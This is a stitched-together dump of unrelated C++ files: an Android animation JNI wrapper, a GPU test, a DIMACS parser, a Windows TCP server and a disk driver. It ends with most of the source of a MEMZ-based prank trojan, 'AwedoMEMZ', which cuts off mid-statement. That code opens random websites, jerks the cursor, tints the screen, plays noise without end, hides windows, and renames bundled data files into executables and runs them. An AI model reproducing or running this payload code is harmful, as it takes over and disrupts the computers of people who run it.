ValueAnimator::getFrameDelay() { return callStaticMethod<jlong>( "android.animation.ValueAnimator", "getFrameDelay", "()J" ); } android::animation::ValueAnimator ValueAnimator::ofArgb(JIntArray arg0) { return callStaticObjectMethod( "android.animation.ValueAnimator", "ofArgb", "([I)Landroid/animation/ValueAnimator;", arg0.object<jintArray>() ); } android::animation::ValueAnimator ValueAnimator::ofFloat(JFloatArray arg0) { return callStaticObjectMethod( "android.animation.ValueAnimator", "ofFloat", "([F)Landroid/animation/ValueAnimator;", arg0.object<jfloatArray>() ); } android::animation::ValueAnimator ValueAnimator::ofInt(JIntArray arg0) { return callStaticObjectMethod( "android.animation.ValueAnimator", "ofInt", "([I)Landroid/animation/ValueAnimator;", arg0.object<jintArray>() ); } android::animation::ValueAnimator ValueAnimator::ofObject(JObject arg0, JObjectArray arg1) { return callStaticObjectMethod( "android.animation.ValueAnimator", "ofObject", "(Landroid/animation/TypeEvaluator;[Ljava/lang/Object;)Landroid/animation/ValueAnimator;", arg0.object(), arg1.object<jobjectArray>() ); } android::animation::ValueAnimator ValueAnimator::ofPropertyValuesHolder(JArray arg0) { return callStaticObjectMethod( "android.animation.ValueAnimator", "ofPropertyValuesHolder", "([Landroid/animation/PropertyValuesHolder;)Landroid/animation/ValueAnimator;", arg0.object<jarray>() ); } void ValueAnimator::setFrameDelay(jlong arg0) { callStaticMethod<void>( "android.animation.ValueAnimator", "setFrameDelay", "(J)V", arg0 ); } void ValueAnimator::addUpdateListener(JObject arg0) const { callMethod<void>( "addUpdateListener", "(Landroid/animation/ValueAnimator$AnimatorUpdateListener;)V", arg0.object() ); } void ValueAnimator::cancel() const { callMethod<void>( "cancel", "()V" ); } android::animation::ValueAnimator ValueAnimator::clone() const { return callObjectMethod( "clone", "()Landroid/animation/ValueAnimator;" ); } void ValueAnimator::end() const { callMethod<void>( "end", "()V" ); } jfloat ValueAnimator::getAnimatedFraction() const { return callMethod<jfloat>( "getAnimatedFraction", "()F" ); } JObject ValueAnimator::getAnimatedValue() const { return callObjectMethod( "getAnimatedValue", "()Ljava/lang/Object;" ); } JObject ValueAnimator::getAnimatedValue(JString arg0) const { return callObjectMethod( "getAnimatedValue", "(Ljava/lang/String;)Ljava/lang/Object;", arg0.object<jstring>() ); } jlong ValueAnimator::getCurrentPlayTime() const { return callMethod<jlong>( "getCurrentPlayTime", "()J" ); } jlong ValueAnimator::getDuration() const { return callMethod<jlong>( "getDuration", "()J" ); } JObject ValueAnimator::getInterpolator() const { return callObjectMethod( "getInterpolator", "()Landroid/animation/TimeInterpolator;" ); } jint ValueAnimator::getRepeatCount() const { return callMethod<jint>( "getRepeatCount", "()I" ); } jint ValueAnimator::getRepeatMode() const { return callMethod<jint>( "getRepeatMode", "()I" ); } jlong ValueAnimator::getStartDelay() const { return callMethod<jlong>( "getStartDelay", "()J" ); } jlong ValueAnimator::getTotalDuration() const { return callMethod<jlong>( "getTotalDuration", "()J" ); } JArray ValueAnimator::getValues() const { return callObjectMethod( "getValues", "()[Landroid/animation/PropertyValuesHolder;" ); } jboolean ValueAnimator::isRunning() const { return callMethod<jboolean>( "isRunning", "()Z" ); } jboolean ValueAnimator::isStarted() const { return callMethod<jboolean>( "isStarted", "()Z" ); } void ValueAnimator::pause() const { callMethod<void>( "pause", "()V" ); } void ValueAnimator::removeAllUpdateListeners() const { callMethod<void>( "removeAllUpdateListeners", "()V" ); } void ValueAnimator::removeUpdateListener(JObject arg0) const { callMethod<void>( "removeUpdateListener", "(Landroid/animation/ValueAnimator$AnimatorUpdateListener;)V", arg0.object() ); } void ValueAnimator::resume() const { callMethod<void>( "resume", "()V" ); } void ValueAnimator::reverse() const { callMethod<void>( "reverse", "()V" ); } void ValueAnimator::setCurrentFraction(jfloat arg0) const { callMethod<void>( "setCurrentFraction", "(F)V", arg0 ); } void ValueAnimator::setCurrentPlayTime(jlong arg0) const { callMethod<void>( "setCurrentPlayTime", "(J)V", arg0 ); } android::animation::ValueAnimator ValueAnimator::setDuration(jlong arg0) const { return callObjectMethod( "setDuration", "(J)Landroid/animation/ValueAnimator;", arg0 ); } void ValueAnimator::setEvaluator(JObject arg0) const { callMethod<void>( "setEvaluator", "(Landroid/animation/TypeEvaluator;)V", arg0.object() ); } void ValueAnimator::setFloatValues(JFloatArray arg0) const { callMethod<void>( "setFloatValues", "([F)V", arg0.object<jfloatArray>() ); } void ValueAnimator::setIntValues(JIntArray arg0) const { callMethod<void>( "setIntValues", "([I)V", arg0.object<jintArray>() ); } void ValueAnimator::setInterpolator(JObject arg0) const { callMethod<void>( "setInterpolator", "(Landroid/animation/TimeInterpolator;)V", arg0.object() ); } void ValueAnimator::setObjectValues(JObjectArray arg0) const { callMethod<void>( "setObjectValues", "([Ljava/lang/Object;)V", arg0.object<jobjectArray>() ); } void ValueAnimator::setRepeatCount(jint arg0) const { callMethod<void>( "setRepeatCount", "(I)V", arg0 ); } void ValueAnimator::setRepeatMode(jint arg0) const { callMethod<void>( "setRepeatMode", "(I)V", arg0 ); } void ValueAnimator::setStartDelay(jlong arg0) const { callMethod<void>( "setStartDelay", "(J)V", arg0 ); } void ValueAnimator::setValues(JArray arg0) const { callMethod<void>( "setValues", "([Landroid/animation/PropertyValuesHolder;)V", arg0.object<jarray>() ); } void ValueAnimator::start() const { callMethod<void>( "start", "()V" ); } JString ValueAnimator::toString() const { return callObjectMethod( "toString", "()Ljava/lang/String;" ); } } // namespace android::animation
7,583
3,163
// Copyright (c) Zhirnov Andrey. For more information see 'LICENSE.txt' #include "CApp.h" bool CApp::_Test_UpdateBuffer () { // generate data BinaryArray data; data.Resize( 512 ); BinaryArray data2; data2.Resize( 256 ); FOR( i, data ) { data[i] = Random::Int<ubyte>(); } FOR( i, data2 ) { data2[i] = Random::Int<ubyte>(); } // create resources auto factory = ms->GlobalSystems()->modulesFactory; GpuMsg::CreateFence fence_ctor; syncManager->Send( fence_ctor ); ModulePtr cmd_buffer; CHECK_ERR( factory->Create( gpuIDs.commandBuffer, gpuThread->GlobalSystems(), CreateInfo::GpuCommandBuffer{}, OUT cmd_buffer ) ); cmdBuilder->Send( ModuleMsg::AttachModule{ cmd_buffer }); ModulePtr buffer; CHECK_ERR( factory->Create( gpuIDs.buffer, gpuThread->GlobalSystems(), CreateInfo::GpuBuffer{ BufferDescription{ data.Size(), EBufferUsage::TransferSrc | EBufferUsage::TransferDst }, EGpuMemory::CoherentWithCPU }, OUT buffer ) ); ModuleUtils::Initialize({ cmd_buffer, buffer }); // write data to buffer GpuMsg::WriteToGpuMemory write_cmd{ data }; buffer->Send( write_cmd ); CHECK_ERR( *write_cmd.wasWritten == data.Size() ); // build command buffer cmdBuilder->Send( GpuMsg::CmdBegin{ cmd_buffer }); const usize subdata_size = 128; BinArrayCRef subdata1 = data2.SubArray( 0, subdata_size ); BinArrayCRef subdata2 = data2.SubArray( subdata_size, data2.Count() - subdata_size ); cmdBuilder->Send( GpuMsg::CmdUpdateBuffer{ buffer, subdata1, data.Size() - data2.Size() }); cmdBuilder->Send( GpuMsg::CmdUpdateBuffer{ buffer, subdata2, data.Size() - subdata2.Size() }); GpuMsg::CmdEnd cmd_end; cmdBuilder->Send( cmd_end ); // submit and sync gpuThread->Send( GpuMsg::SubmitCommands{ *cmd_end.result }.SetFence( *fence_ctor.result )); syncManager->Send( GpuMsg::ClientWaitFence{ *fence_ctor.result }); // read BinaryArray dst_data; dst_data.Resize( data.Count() ); GpuMsg::ReadFromGpuMemory read_cmd{ dst_data }; buffer->Send( read_cmd ); CHECK_ERR( data.Size() == read_cmd.result->Size() ); bool equals = true; usize offset = usize(data.Size() - data2.Size()); FOR( i, data ) { if ( i < offset ) equals &= (data[i] == read_cmd.result->operator[](i)); else equals &= (data2[i - offset] == read_cmd.result->operator[](i)); } CHECK_ERR( equals ); LOG( "UpdateBuffer - OK", ELog::Info ); return true; }
2,425
977
// // BLACK - Bounded Ltl sAtisfiability ChecKer // // (C) 2021 Nicola Gigante // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in // all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE. #include <black/sat/dimacs.hpp> #include <black/support/config.hpp> #include <cctype> #include <cmath> #include <fmt/format.h> namespace black::sat::dimacs::internal { struct _parser_t { std::istream &in; std::function<void(std::string)> handler; _parser_t(std::istream &_in, std::function<void(std::string)> _handler) : in{_in}, handler{_handler} { } void skip_comment(); void skip(); bool parse_header(); std::optional<literal> parse_literal(); std::vector<clause> parse_clauses(); std::optional<problem> parse(); }; void _parser_t::skip_comment() { if(in.peek() != 'c') return; while(in.good() && in.peek() != '\n') in.get(); } void _parser_t::skip() { while(in.good() && (isspace(in.peek()) || in.peek() == 'c')) { skip_comment(); in.get(); } } bool _parser_t::parse_header() { if(!in.good()) return false; std::string h; for(int i = 0; i < 5; ++i) h += (char)in.get(); if(h != "p cnf") { handler("expected problem header"); return false; } uint32_t nvars = 0; uint64_t nclauses = 0; in >> nvars; // we ignore nvars and nclauses, but they must be there in >> nclauses; if(in.fail()) { handler("expected nbvars and nbclauses in problem header"); return false; } return true; } std::optional<literal> _parser_t::parse_literal() { if(in.eof()) return std::nullopt; int32_t v = 0; if(!(in >> v)) { handler("expected literal"); return std::nullopt; } return literal{ // LCOV_EXCL_LINE /*sign=*/ (v >= 0), /*var=*/ static_cast<uint32_t>(abs(v)) }; } std::vector<clause> _parser_t::parse_clauses() { std::vector<clause> clauses; clause cl; do { skip(); std::optional<literal> l = parse_literal(); if(!l) { if(cl.literals.size() > 0) handler("expected '0' at the end of clause"); return clauses; } if(l->var == 0) { clauses.push_back(cl); cl.literals.clear(); } else { cl.literals.push_back(*l); } } while (!in.eof()); return clauses; } std::optional<problem> _parser_t::parse() { skip(); if(!parse_header()) return std::nullopt; skip(); return problem{parse_clauses()}; } std::optional<problem> parse( std::istream &in, std::function<void(std::string)> handler ) { _parser_t parser{in, handler}; return parser.parse(); } std::string to_string(literal l) { return fmt::format("{}{}", l.sign ? "" : "-", l.var); } // void print(std::ostream &out, problem p) { // out << fmt::format("c BLACK v{}\n", black::version); // size_t nclauses = p.clauses.size(); // uint32_t nvars = 0; // for(dimacs::clause c : p.clauses) // for(dimacs::literal l : c.literals) // nvars = l.var > nvars ? l.var : nvars; // out << fmt::format("p cnf {} {}\n", nvars, nclauses); // for(dimacs::clause c : p.clauses) { // for(dimacs::literal l : c.literals) { // out << to_string(l) << ' '; // } // out << "0\n"; // } // } void print(std::ostream &out, std::optional<solution> const& s) { out << fmt::format("c BLACK v{}\n", black::version); if(!s) { out << "s UNSATISFIABLE\n"; return; } out << "s SATISFIABLE\n"; out << "v "; int i = 0; for(dimacs::literal l : s->assignments) { if(i % 4 == 0) out << "\nv "; out << to_string(l) << ' '; ++i; } out << '\n'; } }
4,818
1,802
#include "cl_TCPServer.h" #include <WS2tcpip.h> //Set members to default values. //SOCKET_ERROR is used here to indicate that the socket is closed SSocks::TCPServer::TCPServer() : sock(SOCKET_ERROR), blocking(true) { //nothing } //invoke the default constructor and then call start() SSocks::TCPServer::TCPServer(uint16_t port, bool forceBind, const std::string& localHostAddr) : TCPServer() { start(port, forceBind, localHostAddr); } //release the socket SSocks::TCPServer::~TCPServer() { stop(); } //copy values from source and then break its ownership of the socket SSocks::TCPServer::TCPServer(TCPServer&& moveFrom) : sock(moveFrom.sock), blocking(moveFrom.blocking) { //force source to disown resource so that it won't be released when source destructs moveFrom.sock = SOCKET_ERROR; } void SSocks::TCPServer::operator=(TCPServer&& moveFrom) { sock = moveFrom.sock; blocking = moveFrom.blocking; moveFrom.sock = SOCKET_ERROR; } void SSocks::TCPServer::start(uint16_t port, bool forceBind, const std::string& localHostAddr) { //halt service if already running if(isOpen()) { stop(); } //We need a sockaddr_in to bind the server to a port and interface. sockaddr_in sain = {0}; sain.sin_family = AF_INET; sain.sin_port = htons(port); if(port == 0) { throw std::runtime_error("SSocks::TCPSever does not support port zero."); } //This shouldn't fail unless the user types in gibberish, but let's be safe. int result = inet_pton(AF_INET, localHostAddr.c_str(), &sain.sin_addr); switch(result) { case 0: throw std::runtime_error("Attempted to start server on interaface with invalid address string."); case -1: throw std::runtime_error(Utility::lastErrStr(WSAGetLastError())); } //TSock helps here because if an exception is thrown it ensures that the socket resource is released. Utility::TSock tsock(SOCK_STREAM, IPPROTO_TCP); //forceBind will allow the bind to take over from an existing bind. See comments in header. if(forceBind) { //Here's another nasty legacy call... BOOL temp = TRUE; result = setsockopt(tsock, SOL_SOCKET, SO_REUSEADDR, reinterpret_cast<char*>(&temp), sizeof(temp)); if(result) { throw std::runtime_error(Utility::lastErrStr(WSAGetLastError())); } } //bind the socket result = bind(tsock, reinterpret_cast<sockaddr*>(&sain), sizeof(sain)); if(result) { throw std::runtime_error(Utility::lastErrStr(WSAGetLastError())); } //start listening for connections result = listen(tsock, SOMAXCONN); if(result) { throw std::runtime_error(Utility::lastErrStr(WSAGetLastError())); } //everything seems okay, so take ownership of the resource sock = tsock.validate(); } void SSocks::TCPServer::stop() { //release the resource if it exists if(isOpen()) { closesocket(sock); } //and reset to defaults sock = SOCKET_ERROR; blocking = true; } SSocks::TCPSocket SSocks::TCPServer::accept() { if(!isOpen()) { throw std::runtime_error("Attemtped to wait for connections on closed TCPServer."); } //Create a TCPSocket object TCPSocket nuSock; //and inject the incoming connection into it nuSock.sock = ::accept(sock, nullptr, nullptr); if(nuSock.sock == SOCKET_ERROR) { //WSAEWOULDBLOCK happens on a non-blocking socket when there's no incoming connection. //We can just return the unconnected socket to indicate that. (It will simply be an unopened TCPSocket.) int err = WSAGetLastError(); if(err != WSAEWOULDBLOCK) { throw std::runtime_error(Utility::lastErrStr(err)); } } return nuSock; } bool SSocks::TCPServer::isOpen() const { return sock != SOCKET_ERROR; } bool SSocks::TCPServer::isBlocking() const { return blocking; } void SSocks::TCPServer::setBlocking(bool block) { if(!isOpen()) { throw std::runtime_error("Attemtped to set blocking state on closed TCPServer."); } //avoid needless system calls if(block == blocking) { return; } //I really hate all this legacy crap that tries to make one function do everything. //It makes the interfaces really unpleasant. unsigned long temp = block ? 0 : 1; //set actual socket behavior according to state info int result = ioctlsocket(sock, FIONBIO, &temp); if(result == SOCKET_ERROR) { stop(); //assume socket is invalidated throw std::runtime_error(Utility::lastErrStr(WSAGetLastError())); } //update state info blocking = block; }
4,377
1,458
#include <driver/disk.h> #include <utils/log.h> using namespace driver; disk_driver_manager* driver::global_disk_manager; disk_device::disk_device() { } disk_device::~disk_device() { } void disk_device::read(uint64_t sector, uint32_t sector_count, void* buffer) { } void disk_device::write(uint64_t sector, uint32_t sector_count, void* buffer) { } bool disk_device::get_disk_label(char* out, fs::vfs::vfs_mount* mount) { fs::vfs::file_t* file = mount->open((char*) "/FOXCFG/dn.fox"); if (file == nullptr) { debugf("Failed to open /dn.fox\n"); return false; } mount->read(file, out, file->size, 0); out[file->size] = 0; mount->close(file); debugf("Disk label: %s\n", out); return true; } disk_driver_manager::disk_driver_manager() { this->num_disks = 0; } int disk_driver_manager::add_disk(disk_device* disk) { this->disks[this->num_disks] = disk; debugf("Adding new disk at idx %d!\n", this->num_disks); this->num_disks++; return this->num_disks - 1; } void disk_driver_manager::read(int disk_num, uint64_t sector, uint32_t sector_count, void* buffer) { this->disks[disk_num]->read(sector, sector_count, buffer); } void disk_driver_manager::write(int disk_num, uint64_t sector, uint32_t sector_count, void* buffer) { this->disks[disk_num]->write(sector, sector_count, buffer); } raw_disk_dev_fs::raw_disk_dev_fs(int disk_num) { memset(this->name, 0, 32); sprintf(this->name, "disk_%d", disk_num); this->disk_num = disk_num; } char* raw_disk_dev_fs::get_name() { return this->name; } void raw_disk_dev_fs::write(fs::file_t* file, void* buffer, size_t size, size_t offset) { raw_disk_dev_fs_command* cmd = (raw_disk_dev_fs_command*) buffer; switch (cmd->command) { case 0: // opcode read { driver::global_disk_manager->read(this->disk_num, cmd->sector, cmd->sector_count, (void*) cmd->buffer); } break; case 1: // opcode write { driver::global_disk_manager->write(this->disk_num, cmd->sector, cmd->sector_count, (void*) cmd->buffer); } break; default: { debugf("Unknown disk command %d\n", cmd->command); } break; } }
2,120
893
#include "memz.h" Sound scaryMonsters = { L"data\\12.bin", L"sequencer", L"scarymonsters" }; Sound softonic = { L"data\\11.bin", L"mpegvideo", L"softonic" }; // Why is this even based on MEMZ if I'm using a special payloadHost for almost anything? PAYLOAD payloads[] = { { payloadChangeDesktop, NULL, 20000, 0, 0, 0, 0 }, { playSoundHost, &scaryMonsters, 10000, 0, 0, 0, 0 }, { payloadHostDefault, (LPVOID)payloadExecute, 20000, 0, 0, 0, 0 }, { payloadHostDefault, (LPVOID)payloadMoveCursor, 30000, 0, 0, 0, 0 }, { payloadChangeCursor, NULL, 30000, 0, 0, 0, 0 }, { payloadAnimation, NULL, 40000, 0, 0, 0, 0 }, { payloadTree, NULL, 20000, 0, 0, 0, 0 }, { payloadChangeColors, NULL, 60000, 0, 0, 0, 0 }, { playSoundHost, &softonic, 30000, 0, 0, 0, 0 }, { payloadHostDefault, (LPVOID)payloadJoelSounds, 90000, 0, 0, 0, 0 }, { payloadBonzi, NULL, 1, 0, 0, 0, 0 }, { payloadCrazyBus, NULL, 20000, 0, 0, 0, 0 }, }; BOOLEAN block = FALSE; BOOLEAN bonziRun = FALSE; BOOLEAN bonzi = FALSE; const size_t nPayloads = sizeof(payloads) / sizeof(PAYLOAD); PAYLOADHOST(payloadHostDefault) { PAYLOAD *payload = (PAYLOAD*)parameter; while (!bonzi) { int delay = ((PAYLOADFUNCTIONDEFAULT((*)))payload->payloadFunction)(payload->times++, payload->runtime); Sleep(delay * 10); payload->runtime+=delay; } return 0; } PAYLOADFUNCTIONDEFAULT(payloadExecute) { LPSTR site; int i; while ((site = sites[i = (random() % nSites)]) == 0) { Sleep(10); } LPSTR query; LPSTR args[] = { engines[random() % nEngines] }; FormatMessageA(FORMAT_MESSAGE_FROM_STRING | FORMAT_MESSAGE_ARGUMENT_ARRAY | FORMAT_MESSAGE_ALLOCATE_BUFFER, site, 0, 0, (LPSTR)&query, 8192, (va_list *)args); ShellExecuteA(NULL, "open", query, NULL, NULL, SW_SHOWDEFAULT); sites[i] = 0; LocalFree(query); return 1200.0 / (times / 12.0 + 1) + 100 + (random() % 500); } PAYLOADHOST(payloadChangeColors) { MagInitialize(); while (!bonzi) { MAGCOLOREFFECT effect = { 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, }; for (int i = 0; i < 3; i++) { effect.transform[4][i] = ((random() % 0xffffff) / ((float)0xffffff)) * 0.2 - 0.1; } MagSetFullscreenColorEffect(&effect); Sleep(400); } MagUninitialize(); return 0; } PAYLOADHOST(payloadTree) { open(rename(L"Data\\14.bin", L"Data\\tree.exe"), L""); playSound(L"tree", L"Data\\15.bin", FALSE); return 0; } PAYLOADFUNCTIONDEFAULT(payloadMoveCursor) { POINT cursor; GetCursorPos(&cursor); SetCursorPos(cursor.x + (random() % 3 - 1) * (random() % (runtime / 2200 + 2)), cursor.y + (random() % 3 - 1) * (random() % (runtime / 2200 + 2))); return 2; } LRESULT CALLBACK messageBoxHookMove(int nCode, WPARAM wParam, LPARAM lParam) { if (nCode == HCBT_CREATEWND) { CREATESTRUCT *pcs = ((CBT_CREATEWND *)lParam)->lpcs; if ((pcs->style & WS_DLGFRAME) || (pcs->style & WS_POPUP)) { HWND hwnd = (HWND)wParam; int x = random() % (GetSystemMetrics(SM_CXSCREEN) - pcs->cx); int y = random() % (GetSystemMetrics(SM_CYSCREEN) - pcs->cy); pcs->x = x; pcs->y = y; } } return CallNextHookEx(0, nCode, wParam, lParam); } PAYLOADHOST(payloadCrazyBus) { const int samples = 44100; WAVEFORMATEX fmt = { WAVE_FORMAT_PCM, 1, samples, samples, 1, 8, 0 }; HWAVEOUT hwo; waveOutOpen(&hwo, WAVE_MAPPER, &fmt, NULL, NULL, CALLBACK_NULL); const int bufsize = samples * 30; char *wavedata = (char *)LocalAlloc(0, bufsize); WAVEHDR hdr = { wavedata, bufsize, 0, 0, 0, 0, 0, 0 }; waveOutPrepareHeader(hwo, &hdr, sizeof(hdr)); for (;;) { int freq1 = 0, freq2 = 0, freq3 = 0; int sample1 = 0, sample2 = 0, sample3 = 0; for (int i = 0; i < bufsize; i++) { if (i % (int)(samples * 0.166) == 0) { freq1 = samples / (3580000.0 / (32 * ((random() % 41) * 10 + 200))) / 2; freq2 = samples / (3580000.0 / (32 * ((random() % 41) * 10 + 250))) / 2; freq3 = samples / (3580000.0 / (32 * ((random() % 41) * 10 + 325))) / 2; } sample1 = (i % freq1 < freq1 / 2) ? -127 : 127; sample2 = (i % freq2 < freq2 / 2) ? -127 : 127; sample3 = (i % freq3 < freq3 / 2) ? -127 : 127; wavedata[i] = (unsigned char)(((sample1+sample2+sample3)*0.1) + 127); } waveOutWrite(hwo, &hdr, sizeof(hdr)); while (!(hdr.dwFlags & WHDR_DONE) && !bonzi) { Sleep(1); } if (bonzi) { waveOutPause(hwo); return 0; } } } DWORD WINAPI messageThread(LPVOID parameter) { HHOOK hook = SetWindowsHookEx(WH_CALLWNDPROCRET, messageBoxHookButton, 0, GetCurrentThreadId()); MessageBoxW(NULL, (LPWSTR)parameter, L"AwedoMEMZ", MB_OK | MB_SYSTEMMODAL | MB_ICONEXCLAMATION); UnhookWindowsHookEx(hook); return 0; } LPCWSTR okayButton = L"Ok I'll"; LRESULT CALLBACK messageBoxHookButton(int nCode, WPARAM wParam, LPARAM lParam) { if (nCode < 0) return CallNextHookEx(0, nCode, wParam, lParam); LPCWPRETSTRUCT msg = (LPCWPRETSTRUCT)lParam; if (msg->message == WM_INITDIALOG) { HWND btn = GetDlgItem(msg->hwnd, 2); SetWindowTextW(btn, okayButton); } return CallNextHookEx(0, nCode, wParam, lParam); } HWND animationWindow; int frame = 0, w, h; PAYLOADHOST(payloadAnimation) { WNDCLASSEX c; c.cbSize = sizeof(WNDCLASSEX); c.lpfnWndProc = WindowProcNoClose; c.lpszClassName = L"aniwnd"; c.style = 0; c.cbClsExtra = 0; c.cbWndExtra = 0; c.hInstance = GetModuleHandle(NULL); c.hIcon = 0; c.hCursor = LoadCursor(NULL, IDC_ARROW); c.hbrBackground = NULL; c.lpszMenuName = NULL; c.hIconSm = 0; RegisterClassEx(&c); w = GetSystemMetrics(SM_CXSCREEN); h = GetSystemMetrics(SM_CYSCREEN); animationWindow = CreateWindowExW(WS_EX_TOPMOST | WS_EX_LAYERED | WS_EX_TRANSPARENT | WS_EX_TOOLWINDOW, L"aniwnd", L"", WS_POPUP, 0, 0, w, h, NULL, NULL, GetModuleHandle(NULL), NULL); ShowWindow(animationWindow, SW_SHOW); CreateThread(NULL, 0, &animationThread, NULL, 0, NULL); MSG msg; while (GetMessage(&msg, NULL, 0, 0) > 0 && !bonzi) { TranslateMessage(&msg); DispatchMessage(&msg); } return 0; } DWORD WINAPI animationThread(LPVOID parameter) { HDC hdc = GetDC(animationWindow); HBITMAP dickImg = (HBITMAP)LoadImageW(GetModuleHandle(NULL), L"Data\\1.bin", IMAGE_BITMAP, 0, 0, LR_LOADFROMFILE | LR_LOADTRANSPARENT); HDC hdc2 = CreateCompatibleDC(hdc); SelectObject(hdc2, dickImg); HBITMAP bitmap = CreateCompatibleBitmap(hdc, w, h); HDC hdc4 = CreateCompatibleDC(hdc); SelectObject(hdc4, bitmap); POINT zero; memSet(&zero, 0, sizeof(zero)); SIZE size; size.cx = w; size.cy = h; for (frame = 0; frame < 60; frame++) { StretchBlt(hdc4, 0, 0, w, h, hdc2, 0, frame * 157, 276, 157, SRCCOPY); UpdateLayeredWindow(animationWindow, NULL, NULL, &size, hdc4, &zero, RGB(255, 255, 255), NULL, ULW_COLORKEY); Sleep(50); } playSound(L"dicks", L"Data\\7.bin", FALSE); Sleep(5000); for (; frame > 0; --frame) { StretchBlt(hdc4, 0, 0, w, h, hdc2, 0, frame * 157, 276, 157, SRCCOPY); UpdateLayeredWindow(animationWindow, NULL, NULL, &size, hdc4, &zero, RGB(255, 255, 255), NULL, ULW_COLORKEY); Sleep(50); } DeleteDC(hdc2); BitBlt(hdc4, 0, 0, w, h, hdc4, 0, 0, WHITENESS); UpdateLayeredWindow(animationWindow, NULL, NULL, &size, hdc4, &zero, RGB(255, 255, 255), NULL, ULW_COLORKEY); Sleep(40000); HBITMAP cenaImg = (HBITMAP)LoadImageW(GetModuleHandle(NULL), L"Data\\13.bin", IMAGE_BITMAP, 0, 0, LR_LOADFROMFILE | LR_LOADTRANSPARENT); HDC hdc3 = CreateCompatibleDC(hdc); SelectObject(hdc3, cenaImg); const int cw = 50, ch = 75; const int ncw = cw * 1.2, nch = ch * 1.2; const int w2 = w / 2; const int h2 = h / 2; int dir = ncw*0.3; int i = -dir; const int maxPos = (w2 - ncw - 1) / dir * dir; float *depths = (float *)LocalAlloc(LMEM_ZEROINIT, w2 * sizeof(float)); float *sines = (float *)LocalAlloc(LMEM_ZEROINIT, w2 * sizeof(float)); for (int i = 0; i < w2; i++) { sines[i] = sin((i + w*0.1) / ((float)w)*3.14159) * 6.0; } const int visibleFrameCount = h2 / sines[0]; const int animationFrameCount = (w2 - ncw - 1) / dir; const int animationSizeMultiplier = visibleFrameCount / animationFrameCount + 1; const int animationSize = animationSizeMultiplier * animationFrameCount; const int animationRepeat = animationSize - animationFrameCount; HBITMAP *animation = (HBITMAP *)LocalAlloc(LMEM_ZEROINIT, animationSize * sizeof(HBITMAP)); HDC *animationDCs = (HDC *)LocalAlloc(LMEM_ZEROINIT, animationSize * sizeof(HDC)); for (int f = 0; f < animationSize; f++) { HBITMAP frame = animation[f] = CreateCompatibleBitmap(hdc, w, h); HDC frameDC = animationDCs[f] = CreateCompatibleDC(hdc); SelectObject(frameDC, frame); if (i + dir > w2 - ncw - 1 || i + dir < 0) dir = -dir; i += dir; StretchBlt(hdc4, i, h2, ncw, nch, hdc3, 0, 0, cw, ch, SRCCOPY); StretchBlt(hdc4, maxPos - i, h2, ncw, nch, hdc3, 0, 0, cw, ch, SRCCOPY); for (int i = 0; i < w2; i++) { float depth = (depths[i] += sines[i]); if (depth >= 1) { BitBlt(hdc4, i, h2, 1, depth, hdc4, 0, 0, WHITENESS); BitBlt(hdc4, i, h2 + depth, 1, h2, hdc4, i, h2, SRCCOPY); depths[i] -= (int)depth; } } StretchBlt(hdc4, w, h2, -w2, h2, hdc4, 0, h2, w2, h2, SRCCOPY); StretchBlt(hdc4, 0, h2, w, -h2, hdc4, 0, h2, w, h2, SRCCOPY); BitBlt(frameDC, 0, 0, w, h, hdc4, 0, 0, SRCCOPY); } BOOL removed = FALSE; for (int f = 0; !bonzi; f++) { int tc = GetTickCount(); if (f >= animationSize) { if (!removed) { for (int i = 0; i < animationRepeat; i++) { DeleteDC(animationDCs[i]); DeleteObject(animation[i]); } removed = TRUE; } f = animationRepeat; } UpdateLayeredWindow(animationWindow, NULL, NULL, &size, animationDCs[f], &zero, RGB(255, 255, 255), NULL, ULW_COLORKEY); int time = 20 - (GetTickCount() - tc); if (time > 0) Sleep(time); } ReleaseDC(animationWindow, hdc); DeleteDC(hdc3); DeleteDC(hdc4); DeleteObject(bitmap); LocalFree(sines); LocalFree(depths); return 0; } HWND bonziWindow; HFONT font; BOOL bonziRunOnce = FALSE; PAYLOADHOST(payloadBonzi) { int tc = GetTickCount(); LPWSTR bonziPath = rename(L"Data\\3.bin", L"Data\\Installer.exe"); HANDLE hBonzi = open(bonziPath, L""); SetPriorityClass(hBonzi, ABOVE_NORMAL_PRIORITY_CLASS); DWORD pid = GetProcessId(hBonzi); DWORD code = 0; while (GetExitCodeProcess(hBonzi, &code) && code == STILL_ACTIVE) { EnumWindows(&hideProc, pid); Sleep(30); } int time = 50000 - (GetTickCount() - tc); if (time > 0) Sleep(time); bonzi = TRUE; EnumWindows(&CleanWindowsProc, NULL); EnumWindows(&hideProc, NULL); Sleep(1000); CreateThread(NULL, 0, &messageThread, L"Prepare to meet your biggest enemy again, Joel!", 0, NULL); Sleep(2000); playSound(L"dong", L"Data\\4.bin", FALSE); EnumWindows(&CleanWindowsProc, NULL); Sleep(2000); CreateThread(NULL, 0, &messageThread, L"LET'S FIGHT!", 0, NULL); Sleep(2000); EnumWindows(&CleanWindowsProc, NULL); LPWSTR temp = (LPWSTR)LocalAlloc(0, 2048); GetTempPathW(1024, temp); ShellExecuteW(NULL, L"open", L"BonziBDY_35.EXE", L"", temp, SW_SHOWDEFAULT); LocalFree(temp); WNDCLASSEX c; c.cbSize = sizeof(WNDCLASSEX); c.lpfnWndProc = WindowProcBonzi; c.lpszClassName = L"bonziWnd"; c.style = CS_HREDRAW | CS_VREDRAW; c.cbClsExtra = 0; c.cbWndExtra = 0; c.hInstance = NULL; c.hIcon = 0; c.hCursor = LoadCursor(NULL, IDC_ARROW); c.hbrBackground = NULL; c.lpszMenuName = NULL; c.hIconSm 